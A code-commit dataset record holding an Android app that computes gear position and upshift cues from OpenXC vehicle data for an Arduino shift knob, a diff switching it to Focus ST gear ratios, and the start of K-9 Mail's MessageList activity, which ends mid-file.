mGearPosition.setText(Integer.toString(g));
}
});
if (g != currentGear){
send2Arduino("gear", g);
}
currentGear = g;
}
/* shift() handles all UI and shift knob functions for sending
* shift indication messages to the driver. It checks the settings
* to see which signals to send, and then send the corresponding
* signals to the proper places.
*/
private void shift() {
if (sharedPrefs.getBoolean("pref_haptic_feedback", false)) {
send2Arduino("shift", 1);
}
if (sharedPrefs.getBoolean("pref_audio_feedback", false)) {
mediaPlayer.start();
}
if (sharedPrefs.getBoolean("pref_visual_feedback", false)) {
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mShiftCalc.setText("Shift!!");
mLayout.setBackgroundColor(Color.WHITE);
}
});
}
justShifted = true;
shiftTime = new Date().getTime();
}
/* cancelShift removes the "upshift message" from the UI screen after a given
* amount of time.
*/
private void cancelShift(long t) {
if (t-shiftTime>500){
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mShiftCalc.setText("");
mLayout.setBackgroundColor(Color.BLACK);
}
});
}
}
public void send2Arduino(String signal, int value){
String outString = null;
if (signal.equals("shift")) {
outString = '['+Integer.toString(value)+']';
}
if (signal.equals("gear")) {
outString = '<'+Integer.toString(value)+'>';
}
if (signal.equals("color")) {
outString = '('+Integer.toString(value)+')';
}
char[] outMessage = outString.toCharArray();
byte outBuffer[] = new byte[20];
for(int i=0; i<outString.length(); i++)
{
outBuffer[i] = (byte)outMessage[i];
}
try {
mSerialPort.write(outBuffer, outString.length());
} catch (Exception e) {
Log.d(TAG, "mSerialPort.write() just threw an exception. Is the cable plugged in?");
}
}
private BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (ACTION_USB_PERMISSION.equals(action)) {
UsbDevice device = (UsbDevice) intent.getParcelableExtra(
UsbManager.EXTRA_DEVICE);
if(intent.getBooleanExtra(
UsbManager.EXTRA_PERMISSION_GRANTED, false)) {
mSerialStarted = mSerialPort.begin(9600);
}
else {
Log.i(TAG, "User declined permission for device " + device);
}
}
}
};
public void onExit(View view){
if (mSerialPort != null){
mSerialPort.end();
}
if(mIsBound) {
Log.i(TAG, "Unbinding from vehicle service before exit");
unbindService(mConnection);
mIsBound = false;
}
finish();
System.exit(0);
}
}
| ShiftIndicator/src/com/example/shiftindicator/MainActivity.java | package com.example.shiftindicator;
import java.util.Date;
import jp.ksksue.driver.serial.FTDriver;
import com.openxc.VehicleManager;
import com.openxc.measurements.AcceleratorPedalPosition;
import com.openxc.measurements.EngineSpeed;
import com.openxc.measurements.Measurement;
import com.openxc.measurements.UnrecognizedMeasurementTypeException;
import com.openxc.measurements.VehicleSpeed;
import com.openxc.remote.VehicleServiceException;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.os.IBinder;
import android.preference.PreferenceManager;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.graphics.Color;
import android.hardware.usb.UsbDevice;
import android.hardware.usb.UsbDeviceConnection;
import android.hardware.usb.UsbEndpoint;
import android.hardware.usb.UsbInterface;
import android.hardware.usb.UsbManager;
import android.util.Log;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.SeekBar;
import android.widget.SeekBar.OnSeekBarChangeListener;
import android.widget.Switch;
import android.widget.TextView;
public class MainActivity extends Activity {
private static String TAG = "ShiftIndicator";
private VehicleManager mVehicleManager;
private boolean mIsBound;
private SharedPreferences sharedPrefs;
private MediaPlayer mediaPlayer;
//USB setup:
public static final String ACTION_USB_PERMISSION =
"com.ford.openxc.USB_PERMISSION";
static boolean mSerialStarted = false;
static FTDriver mSerialPort = null;
private PendingIntent mPermissionIntent;
UsbManager mUsbManager = null;
UsbDevice mGaugeDevice = null;
UsbDeviceConnection mGaugeConnection = null;
UsbEndpoint mEndpointIn = null;
UsbEndpoint mEndpointOut = null;
UsbInterface mGaugeInterface = null;
private TextView mVehicleSpeedView;
private TextView mEngineSpeedView;
private TextView mShiftIndicator;
private TextView mShiftCalc;
private TextView mPedalView;
private TextView mGearPosition;
private Switch mPowerSwitch;
private boolean power_status = true;
private SeekBar mLEDbar;
private View mLayout;
private int engine_speed;
private double vehicle_speed;
private double pedal_pos;
private long shiftTime;
private int currentGear;
boolean justShifted;
int next_ratio=1;
////* VEHICLE SPECIFIC DATA *////
// FIGO RATIOS rpm/speed
private int[] gearRatios = {
0, // Neutral
140, // 1st
75, // 2nd
50, // 3rd
37, // 4th
30, // 5th
};
private double base_pedal_position = 15.0;
private int min_rpm = 1300;
// Mustang GT RATIOS rpm/speed
// private int[] gearRatios = {
// 0, // Neutral
// 100, // 1st
// 66, // 2nd
// 46, // 3rd
// 35, // 4th
// 27, // 5th
// 18 // 6th
// };
// private double base_pedal_position = 10.0;
// private int min_rpm = 1600;
// Focus ST RATIOS rpm/speed:
// private int[] gearRatios = {
// 0, // Neutral
// 114, // 1st
// 69, // 2nd
// 46, // 3rd
// 36, // 4th
// 28, // 5th
// 23 // 6th
// };
// private double base_pedal_position = 15.0;
// private int min_rpm = 1300;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.i(TAG, "Shift Indicator created");
sharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);
mediaPlayer = MediaPlayer.create(this, R.raw.chime);
Intent intent = new Intent(this, VehicleManager.class);
bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
mVehicleSpeedView = (TextView) findViewById(R.id.vehicle_speed);
mEngineSpeedView = (TextView) findViewById(R.id.engine_speed);
mShiftIndicator = (TextView) findViewById(R.id.shift_indicator);
mShiftCalc = (TextView) findViewById(R.id.shift_calculated);
mPedalView = (TextView) findViewById(R.id.pedal_position);
mGearPosition = (TextView) findViewById(R.id.gear_position);
mLayout = findViewById(R.id.layout);
mLayout.setBackgroundColor(Color.BLACK);
mLEDbar = (SeekBar) findViewById(R.id.led_bar);
mLEDbar.setOnSeekBarChangeListener(new OnSeekBarChangeListener() {
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
send2Arduino("color", progress*255/100);
}
public void onStartTrackingTouch(SeekBar seekBar) {
}
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
mPowerSwitch = (Switch) findViewById(R.id.power_switch);
mPowerSwitch.setChecked(true);
mPowerSwitch.setOnCheckedChangeListener(new OnCheckedChangeListener() {
public void onCheckedChanged(CompoundButton buttonView,
boolean isChecked) {
power_status = isChecked;
}
});
mUsbManager = (UsbManager) getSystemService(Context.USB_SERVICE);
mPermissionIntent = PendingIntent.getBroadcast(this, 0,
new Intent(ACTION_USB_PERMISSION), 0);
IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
this.registerReceiver(mBroadcastReceiver, filter);
if(mSerialPort == null){
mSerialPort = new FTDriver(mUsbManager);
mSerialPort.setPermissionIntent(mPermissionIntent);
mSerialStarted = mSerialPort.begin(115200);
if (!mSerialStarted)
{
Log.d(TAG, "mSerialPort.begin() failed.");
} else{
Log.d(TAG, "mSerialPort.begin() success!.");
send2Arduino("gear", 0);
}
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.settings, menu);
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
Log.i(TAG, "Option Selected "+item.getItemId());
switch (item.getItemId()) {
case R.id.settings:
startActivity(new Intent(this, SettingsActivity.class));
break;
case R.id.close:
System.exit(0);
break;
}
return super.onOptionsItemSelected(item);
}
private ServiceConnection mConnection = new ServiceConnection() {
// Called when the connection with the service is established
public void onServiceConnected(ComponentName className,
IBinder service) {
Log.i(TAG, "Bound to VehicleManager");
mVehicleManager = ((VehicleManager.VehicleBinder)service).getService();
try {
mVehicleManager.addListener(VehicleSpeed.class, mSpeedListener);
mVehicleManager.addListener(EngineSpeed.class, mEngineListener);
mVehicleManager.addListener(AcceleratorPedalPosition.class, mPedalListener);
mVehicleManager.addListener(ShiftRecommendation.class, mShiftRecommendation);
} catch(VehicleServiceException e) {
Log.w(TAG, "Couldn't add listeners for measurements", e);
} catch(UnrecognizedMeasurementTypeException e) {
Log.w(TAG, "Couldn't add listeners for measurements", e);
}
}
// Called when the connection with the service disconnects unexpectedly
public void onServiceDisconnected(ComponentName className) {
Log.w(TAG, "VehicleService disconnected unexpectedly");
mVehicleManager = null;
mIsBound = false;
}
};
VehicleSpeed.Listener mSpeedListener = new VehicleSpeed.Listener() {
public void receive(Measurement measurement) {
final VehicleSpeed updated_value = (VehicleSpeed) measurement;
vehicle_speed = updated_value.getValue().doubleValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
// send vehicle speed with 1 decimal point
mVehicleSpeedView.setText(""+Math.round(vehicle_speed*10)/10);
}
});
}
};
EngineSpeed.Listener mEngineListener = new EngineSpeed.Listener() {
public void receive(Measurement measurement) {
final EngineSpeed updated_value = (EngineSpeed) measurement;
engine_speed = updated_value.getValue().intValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mEngineSpeedView.setText(""+engine_speed);
}
});
shiftCalculation();
}
};
AcceleratorPedalPosition.Listener mPedalListener = new AcceleratorPedalPosition.Listener() {
public void receive(Measurement measurement) {
final AcceleratorPedalPosition updated_value = (AcceleratorPedalPosition) measurement;
pedal_pos = updated_value.getValue().doubleValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mPedalView.setText(""+(int)pedal_pos);
}
});
}
};
ShiftRecommendation.Listener mShiftRecommendation = new ShiftRecommendation.Listener() {
public void receive(Measurement measurement) {
final ShiftRecommendation updated_value = (ShiftRecommendation) measurement;
if (updated_value.getValue().booleanValue() == true && power_status) {
shift();
}
else {
cancelShift(shiftTime+600);
}
}
};
/* shiftCalculation is the main function of this class. In the event
* that a vehicle is not equipped with a built-in "ShiftRecommendation"
* signal on CAN, this function will calculate the upshift point locally.
* The gear position and shift point are then sent to the shift knob.
*/
public void shiftCalculation() {
/* GEAR POSITION CALCULATION:
* First calculate gear based on ratio of rpm to speed.
* The for loop compares known gear ratios with the
* calculated ratio.
*/
if(vehicle_speed==0) vehicle_speed = 1;
double ratio = engine_speed/vehicle_speed;
long currentTime = new Date().getTime();
for (int i = 1; i < gearRatios.length; i++) {
if (gearRatios[i]*.9 < ratio && gearRatios[i]*1.1 > ratio) {
if (next_ratio != gearRatios[i]) justShifted = false;
next_ratio=gearRatios[i];
updateGear(i);
break;
}
if (i == gearRatios.length-1) {
//if the loop gets to here, then the vehicle is thought to be in Neutral
justShifted = false;
updateGear(0);
cancelShift(currentTime);
return;
}
}
if (!power_status) return;
/* SHIFT CALCULATION:
* The upshift signal is based on throttle position and the rpm
* of the engine in the NEXT gear. The higher the throttle position,
* the higher the rpm in the next gear (quick acceleration).
*
* First, if the pedal position is less than 10, then the driver is
* probably shifting or slowing down, so no shift signal is needed.
*/
if (pedal_pos < 10) {
cancelShift(currentTime);
return;
}
/* If the pedal position is above the minimum threshold, then the driver
* is thought to be holding a constant speed or accelerating and thus
* the shift signal point should be calculated.
*
* Values A, B, and C of the algorithm below must be optimized for each
* specific vehicle.
*
* next_rpm = A*(pedal_pos)*(pedal_pos)-B*(pedal_pos)+C TEMPLATE
*
* If the calculated next_rpm is less than rpm the vehicle would be if shifted
* to the next gear, the shift signal is sent to the shift knob.
*/
double next_rpm;
if (pedal_pos >= base_pedal_position){
// next_rpm = 1.3*(pedal_pos)*(pedal_pos)-20*pedal_pos+1680; //GT Mustang
next_rpm = 1.2*(pedal_pos)*(pedal_pos)-30*pedal_pos+1300; //Figo/Focus
}
else next_rpm=min_rpm;
if (next_rpm < vehicle_speed*next_ratio){
if (!justShifted){
shift();
}
cancelShift(currentTime);
}
else cancelShift(currentTime);
}
/* updateGear takes the calculated gear position and sends that value
* to the shift knob. The gear position is enclosed in '<' ___ '>'
*/
private void updateGear(final int g) {
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mGearPosition.setText(Integer.toString(g));
}
});
if (g != currentGear){
send2Arduino("gear", g);
}
currentGear = g;
}
/* shift() handles all UI and shift knob functions for sending
* shift indication messages to the driver. It checks the settings
* to see which signals to send, and then send the corresponding
* signals to the proper places.
*/
private void shift() {
if (sharedPrefs.getBoolean("pref_haptic_feedback", false)) {
send2Arduino("shift", 1);
}
if (sharedPrefs.getBoolean("pref_audio_feedback", false)) {
mediaPlayer.start();
}
if (sharedPrefs.getBoolean("pref_visual_feedback", false)) {
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mShiftCalc.setText("Shift!!");
mLayout.setBackgroundColor(Color.WHITE);
}
});
}
justShifted = true;
shiftTime = new Date().getTime();
}
/* cancelShift removes the "upshift message" from the UI screen after a given
* amount of time.
*/
private void cancelShift(long t) {
if (t-shiftTime>500){
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mShiftCalc.setText("");
mLayout.setBackgroundColor(Color.BLACK);
}
});
}
}
public void send2Arduino(String signal, int value){
String outString = null;
if (signal.equals("shift")) {
outString = '['+Integer.toString(value)+']';
}
if (signal.equals("gear")) {
outString = '<'+Integer.toString(value)+'>';
}
if (signal.equals("color")) {
outString = '('+Integer.toString(value)+')';
}
char[] outMessage = outString.toCharArray();
byte outBuffer[] = new byte[20];
for(int i=0; i<outString.length(); i++)
{
outBuffer[i] = (byte)outMessage[i];
}
try {
mSerialPort.write(outBuffer, outString.length());
} catch (Exception e) {
Log.d(TAG, "mSerialPort.write() just threw an exception. Is the cable plugged in?");
}
}
private BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (ACTION_USB_PERMISSION.equals(action)) {
UsbDevice device = (UsbDevice) intent.getParcelableExtra(
UsbManager.EXTRA_DEVICE);
if(intent.getBooleanExtra(
UsbManager.EXTRA_PERMISSION_GRANTED, false)) {
mSerialStarted = mSerialPort.begin(9600);
}
else {
Log.i(TAG, "User declined permission for device " + device);
}
}
}
};
public void onExit(View view){
if (mSerialPort != null){
mSerialPort.end();
}
if(mIsBound) {
Log.i(TAG, "Unbinding from vehicle service before exit");
unbindService(mConnection);
mIsBound = false;
}
finish();
System.exit(0);
}
}
| update code for Focus ST for techshop demo.
| ShiftIndicator/src/com/example/shiftindicator/MainActivity.java | update code for Focus ST for techshop demo. | <ide><path>hiftIndicator/src/com/example/shiftindicator/MainActivity.java
<ide> ////* VEHICLE SPECIFIC DATA *////
<ide>
<ide> // FIGO RATIOS rpm/speed
<del> private int[] gearRatios = {
<del> 0, // Neutral
<del> 140, // 1st
<del> 75, // 2nd
<del> 50, // 3rd
<del> 37, // 4th
<del> 30, // 5th
<del> };
<del> private double base_pedal_position = 15.0;
<del> private int min_rpm = 1300;
<add>// private int[] gearRatios = {
<add>// 0, // Neutral
<add>// 140, // 1st
<add>// 75, // 2nd
<add>// 50, // 3rd
<add>// 37, // 4th
<add>// 30, // 5th
<add>// };
<add>// private double base_pedal_position = 15.0;
<add>// private int min_rpm = 1300;
<ide>
<ide> // Mustang GT RATIOS rpm/speed
<ide> // private int[] gearRatios = {
<ide> // private int min_rpm = 1600;
<ide>
<ide> // Focus ST RATIOS rpm/speed:
<del>// private int[] gearRatios = {
<del>// 0, // Neutral
<del>// 114, // 1st
<del>// 69, // 2nd
<del>// 46, // 3rd
<del>// 36, // 4th
<del>// 28, // 5th
<del>// 23 // 6th
<del>// };
<del>// private double base_pedal_position = 15.0;
<del>// private int min_rpm = 1300;
<add> private int[] gearRatios = {
<add> 0, // Neutral
<add> 114, // 1st
<add> 69, // 2nd
<add> 46, // 3rd
<add> 36, // 4th
<add> 28, // 5th
<add> 23 // 6th
<add> };
<add> private double base_pedal_position = 15.0;
<add> private int min_rpm = 1300;
<ide>
<ide> @Override
<ide> protected void onCreate(Bundle savedInstanceState) { |
|
Java | bsd-3-clause | 411abbea6411e92435113182d60fa0397968e425 | 0 | vasyl-khomko/k-9,msdgwzhy6/k-9,GuillaumeSmaha/k-9,tonytamsf/k-9,WenduanMou1/k-9,cooperpellaton/k-9,thuanpq/k-9,philipwhiuk/k-9,sebkur/k-9,cketti/k-9,GuillaumeSmaha/k-9,deepworks/k-9,vasyl-khomko/k-9,sedrubal/k-9,tonytamsf/k-9,gaionim/k-9,msdgwzhy6/k-9,gnebsy/k-9,konfer/k-9,imaeses/k-9,tsunli/k-9,roscrazy/k-9,github201407/k-9,sonork/k-9,sanderbaas/k-9,herpiko/k-9,farmboy0/k-9,ndew623/k-9,torte71/k-9,dgger/k-9,rishabhbitsg/k-9,k9mail/k-9,WenduanMou1/k-9,tsunli/k-9,gnebsy/k-9,CodingRmy/k-9,msdgwzhy6/k-9,GuillaumeSmaha/k-9,bashrc/k-9,huhu/k-9,bashrc/k-9,konfer/k-9,ndew623/k-9,icedman21/k-9,imaeses/k-9,philipwhiuk/k-9,vt0r/k-9,cooperpellaton/k-9,WenduanMou1/k-9,dpereira411/k-9,dhootha/k-9,mawiegand/k-9,rtreffer/openpgp-k-9,gaionim/k-9,farmboy0/k-9,vatsalsura/k-9,denim2x/k-9,439teamwork/k-9,farmboy0/k-9,mawiegand/k-9,herpiko/k-9,konfer/k-9,suzp1984/k-9,KitAway/k-9,tsunli/k-9,torte71/k-9,roscrazy/k-9,XiveZ/k-9,XiveZ/k-9,torte71/k-9,gilbertw1/k-9,crr0004/k-9,cooperpellaton/k-9,XiveZ/k-9,thuanpq/k-9,G00fY2/k-9_material_design,sonork/k-9,leixinstar/k-9,suzp1984/k-9,ndew623/k-9,dhootha/k-9,crr0004/k-9,denim2x/k-9,sedrubal/k-9,icedman21/k-9,sebkur/k-9,jca02266/k-9,vatsalsura/k-9,suzp1984/k-9,Valodim/k-9,Eagles2F/k-9,philipwhiuk/q-mail,dpereira411/k-9,439teamwork/k-9,thuanpq/k-9,CodingRmy/k-9,github201407/k-9,rishabhbitsg/k-9,mawiegand/k-9,nilsbraden/k-9,indus1/k-9,k9mail/k-9,sebkur/k-9,k9mail/k-9,github201407/k-9,nilsbraden/k-9,moparisthebest/k-9,deepworks/k-9,moparisthebest/k-9,dpereira411/k-9,huhu/k-9,denim2x/k-9,rollbrettler/k-9,philipwhiuk/q-mail,gnebsy/k-9,cketti/k-9,jca02266/k-9,KitAway/k-9,439teamwork/k-9,jca02266/k-9,herpiko/k-9,sonork/k-9,icedman21/k-9,dgger/k-9,cliniome/pki,leixinstar/k-9,philipwhiuk/q-mail,nilsbraden/k-9,sanderbaas/k-9,jberkel/k-9,gaionim/k-9,gilbertw1/k-9,moparisthebest/k-9,sanderbaas/k-9,tonytamsf/k-9,G00fY2/k-9_material_design,vasyl-khomko/k-9,cliniome/pki,vt0r/k-9,cketti/k-9,Eagles2F/k-9,cketti/k-9,Eagles2F/k-9,dgger/k-9,bashrc/k-9,dhootha/k-9,KitAway/k-9,crr0004/k-9,gilbertw1/k-9,cliniome/pki,leixinstar/k-9,huhu/k-9,deepworks/k-9,indus1/k-9,rollbrettler/k-9,imaeses/k-9,jberkel/k-9,rollbrettler/k-9,rtreffer/openpgp-k-9 | package com.fsck.k9.activity;
import java.util.ArrayList;
import android.app.SearchManager;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentManager.OnBackStackChangedListener;
import android.support.v4.app.FragmentTransaction;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.actionbarsherlock.app.ActionBar;
import com.actionbarsherlock.view.Menu;
import com.actionbarsherlock.view.MenuItem;
import com.fsck.k9.Account;
import com.fsck.k9.Account.SortType;
import com.fsck.k9.K9;
import com.fsck.k9.Preferences;
import com.fsck.k9.R;
import com.fsck.k9.activity.misc.SwipeGestureDetector.OnSwipeGestureListener;
import com.fsck.k9.activity.setup.AccountSettings;
import com.fsck.k9.activity.setup.FolderSettings;
import com.fsck.k9.activity.setup.Prefs;
import com.fsck.k9.fragment.MessageListFragment;
import com.fsck.k9.fragment.MessageListFragment.MessageListFragmentListener;
import com.fsck.k9.mail.Message;
import com.fsck.k9.mail.store.StorageManager;
import com.fsck.k9.search.LocalSearch;
import com.fsck.k9.search.SearchSpecification;
import com.fsck.k9.search.SearchSpecification.Attribute;
import com.fsck.k9.search.SearchSpecification.Searchfield;
import com.fsck.k9.search.SearchSpecification.SearchCondition;
/**
* MessageList is the primary user interface for the program. This Activity
* shows a list of messages.
* From this Activity the user can perform all standard message operations.
*/
public class MessageList extends K9FragmentActivity implements MessageListFragmentListener,
OnBackStackChangedListener, OnSwipeGestureListener {
// for this activity
private static final String EXTRA_SEARCH = "search";
private static final String EXTRA_NO_THREADING = "no_threading";
// used for remote search
private static final String EXTRA_SEARCH_ACCOUNT = "com.fsck.k9.search_account";
private static final String EXTRA_SEARCH_FOLDER = "com.fsck.k9.search_folder";
public static void actionDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask) {
actionDisplaySearch(context, search, noThreading, newTask, true);
}
public static void actionDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask, boolean clearTop) {
context.startActivity(
intentDisplaySearch(context, search, noThreading, newTask, clearTop));
}
public static Intent intentDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask, boolean clearTop) {
Intent intent = new Intent(context, MessageList.class);
intent.putExtra(EXTRA_SEARCH, search);
intent.putExtra(EXTRA_NO_THREADING, noThreading);
if (clearTop) {
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
}
if (newTask) {
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
}
return intent;
}
private StorageManager.StorageListener mStorageListener = new StorageListenerImplementation();
private ActionBar mActionBar;
private TextView mActionBarTitle;
private TextView mActionBarSubTitle;
private TextView mActionBarUnread;
private Menu mMenu;
private MessageListFragment mMessageListFragment;
private Account mAccount;
private String mFolderName;
private LocalSearch mSearch;
private boolean mSingleFolderMode;
private boolean mSingleAccountMode;
/**
* {@code true} if the message list should be displayed as flat list (i.e. no threading)
* regardless whether or not message threading was enabled in the settings. This is used for
* filtered views, e.g. when only displaying the unread messages in a folder.
*/
private boolean mNoThreading;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.message_list);
mActionBar = getSupportActionBar();
initializeActionBar();
// Enable gesture detection for MessageLists
setupGestureDetector(this);
decodeExtras(getIntent());
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.addOnBackStackChangedListener(this);
mMessageListFragment = (MessageListFragment) fragmentManager.findFragmentById(R.id.message_list_container);
if (mMessageListFragment == null) {
FragmentTransaction ft = fragmentManager.beginTransaction();
mMessageListFragment = MessageListFragment.newInstance(mSearch,
(K9.isThreadedViewEnabled() && !mNoThreading));
ft.add(R.id.message_list_container, mMessageListFragment);
ft.commit();
}
}
private void decodeExtras(Intent intent) {
// check if this intent comes from the system search ( remote )
if (intent.getStringExtra(SearchManager.QUERY) != null) {
if (Intent.ACTION_SEARCH.equals(intent.getAction())) {
//Query was received from Search Dialog
String query = intent.getStringExtra(SearchManager.QUERY);
mSearch = new LocalSearch(getString(R.string.search_results));
mSearch.setManualSearch(true);
mNoThreading = true;
mSearch.or(new SearchCondition(Searchfield.SENDER, Attribute.CONTAINS, query));
mSearch.or(new SearchCondition(Searchfield.SUBJECT, Attribute.CONTAINS, query));
mSearch.or(new SearchCondition(Searchfield.MESSAGE_CONTENTS, Attribute.CONTAINS, query));
Bundle appData = getIntent().getBundleExtra(SearchManager.APP_DATA);
if (appData != null) {
mSearch.addAccountUuid(appData.getString(EXTRA_SEARCH_ACCOUNT));
mSearch.addAllowedFolder(appData.getString(EXTRA_SEARCH_FOLDER));
} else {
mSearch.addAccountUuid(LocalSearch.ALL_ACCOUNTS);
}
}
} else {
// regular LocalSearch object was passed
mSearch = intent.getParcelableExtra(EXTRA_SEARCH);
mNoThreading = intent.getBooleanExtra(EXTRA_NO_THREADING, false);
}
String[] accountUuids = mSearch.getAccountUuids();
mSingleAccountMode = (accountUuids.length == 1 && !mSearch.searchAllAccounts());
mSingleFolderMode = mSingleAccountMode && (mSearch.getFolderNames().size() == 1);
if (mSingleAccountMode) {
Preferences prefs = Preferences.getPreferences(getApplicationContext());
mAccount = prefs.getAccount(accountUuids[0]);
if (mAccount != null && !mAccount.isAvailable(this)) {
Log.i(K9.LOG_TAG, "not opening MessageList of unavailable account");
onAccountUnavailable();
return;
}
}
if (mSingleFolderMode) {
mFolderName = mSearch.getFolderNames().get(0);
}
// now we know if we are in single account mode and need a subtitle
mActionBarSubTitle.setVisibility((!mSingleFolderMode) ? View.GONE : View.VISIBLE);
}
@Override
public void onPause() {
super.onPause();
StorageManager.getInstance(getApplication()).removeListener(mStorageListener);
}
@Override
public void onResume() {
super.onResume();
if (!(this instanceof Search)) {
//necessary b/c no guarantee Search.onStop will be called before MessageList.onResume
//when returning from search results
Search.setActive(false);
}
if (mAccount != null && !mAccount.isAvailable(this)) {
onAccountUnavailable();
return;
}
StorageManager.getInstance(getApplication()).addListener(mStorageListener);
}
private void initializeActionBar() {
mActionBar.setDisplayShowCustomEnabled(true);
mActionBar.setCustomView(R.layout.actionbar_custom);
View customView = mActionBar.getCustomView();
mActionBarTitle = (TextView) customView.findViewById(R.id.actionbar_title_first);
mActionBarSubTitle = (TextView) customView.findViewById(R.id.actionbar_title_sub);
mActionBarUnread = (TextView) customView.findViewById(R.id.actionbar_unread_count);
mActionBar.setDisplayHomeAsUpEnabled(true);
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
// Shortcuts that work no matter what is selected
switch (keyCode) {
case KeyEvent.KEYCODE_VOLUME_UP: {
if (K9.useVolumeKeysForListNavigationEnabled()) {
mMessageListFragment.onMoveUp();
return true;
}
return false;
}
case KeyEvent.KEYCODE_VOLUME_DOWN: {
if (K9.useVolumeKeysForListNavigationEnabled()) {
mMessageListFragment.onMoveDown();
return true;
}
return false;
}
case KeyEvent.KEYCODE_C: {
mMessageListFragment.onCompose();
return true;
}
case KeyEvent.KEYCODE_Q: {
onShowFolderList();
return true;
}
case KeyEvent.KEYCODE_O: {
mMessageListFragment.onCycleSort();
return true;
}
case KeyEvent.KEYCODE_I: {
mMessageListFragment.onReverseSort();
return true;
}
case KeyEvent.KEYCODE_H: {
Toast toast = Toast.makeText(this, R.string.message_list_help_key, Toast.LENGTH_LONG);
toast.show();
return true;
}
}
boolean retval = true;
try {
switch (keyCode) {
case KeyEvent.KEYCODE_DEL:
case KeyEvent.KEYCODE_D: {
mMessageListFragment.onDelete();
return true;
}
case KeyEvent.KEYCODE_S: {
mMessageListFragment.toggleMessageSelect();
return true;
}
case KeyEvent.KEYCODE_G: {
mMessageListFragment.onToggleFlag();
return true;
}
case KeyEvent.KEYCODE_M: {
mMessageListFragment.onMove();
return true;
}
case KeyEvent.KEYCODE_V: {
mMessageListFragment.onArchive();
return true;
}
case KeyEvent.KEYCODE_Y: {
mMessageListFragment.onCopy();
return true;
}
case KeyEvent.KEYCODE_Z: {
mMessageListFragment.onToggleRead();
return true;
}
}
} finally {
retval = super.onKeyDown(keyCode, event);
}
return retval;
}
@Override
public boolean onKeyUp(int keyCode, KeyEvent event) {
// Swallow these events too to avoid the audible notification of a volume change
if (K9.useVolumeKeysForListNavigationEnabled()) {
if ((keyCode == KeyEvent.KEYCODE_VOLUME_UP) || (keyCode == KeyEvent.KEYCODE_VOLUME_DOWN)) {
if (K9.DEBUG)
Log.v(K9.LOG_TAG, "Swallowed key up.");
return true;
}
}
return super.onKeyUp(keyCode, event);
}
private void onAccounts() {
Accounts.listAccounts(this);
finish();
}
private void onShowFolderList() {
FolderList.actionHandleAccount(this, mAccount);
finish();
}
private void onEditPrefs() {
Prefs.actionPrefs(this);
}
private void onEditAccount() {
AccountSettings.actionSettings(this, mAccount);
}
@Override
public boolean onSearchRequested() {
return mMessageListFragment.onSearchRequested();
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
int itemId = item.getItemId();
switch (itemId) {
case android.R.id.home: {
FragmentManager fragmentManager = getSupportFragmentManager();
if (fragmentManager.getBackStackEntryCount() > 0) {
fragmentManager.popBackStack();
} else if (!mSingleFolderMode || mMessageListFragment.isManualSearch()) {
onBackPressed();
} else {
onShowFolderList();
}
return true;
}
case R.id.compose: {
mMessageListFragment.onCompose();
return true;
}
case R.id.check_mail: {
mMessageListFragment.checkMail();
return true;
}
case R.id.set_sort_date: {
mMessageListFragment.changeSort(SortType.SORT_DATE);
return true;
}
case R.id.set_sort_arrival: {
mMessageListFragment.changeSort(SortType.SORT_ARRIVAL);
return true;
}
case R.id.set_sort_subject: {
mMessageListFragment.changeSort(SortType.SORT_SUBJECT);
return true;
}
// case R.id.set_sort_sender: {
// mMessageListFragment.changeSort(SortType.SORT_SENDER);
// return true;
// }
case R.id.set_sort_flag: {
mMessageListFragment.changeSort(SortType.SORT_FLAGGED);
return true;
}
case R.id.set_sort_unread: {
mMessageListFragment.changeSort(SortType.SORT_UNREAD);
return true;
}
case R.id.set_sort_attach: {
mMessageListFragment.changeSort(SortType.SORT_ATTACHMENT);
return true;
}
case R.id.select_all: {
mMessageListFragment.selectAll();
return true;
}
case R.id.app_settings: {
onEditPrefs();
return true;
}
case R.id.account_settings: {
onEditAccount();
return true;
}
case R.id.search: {
mMessageListFragment.onSearchRequested();
return true;
}
case R.id.search_remote: {
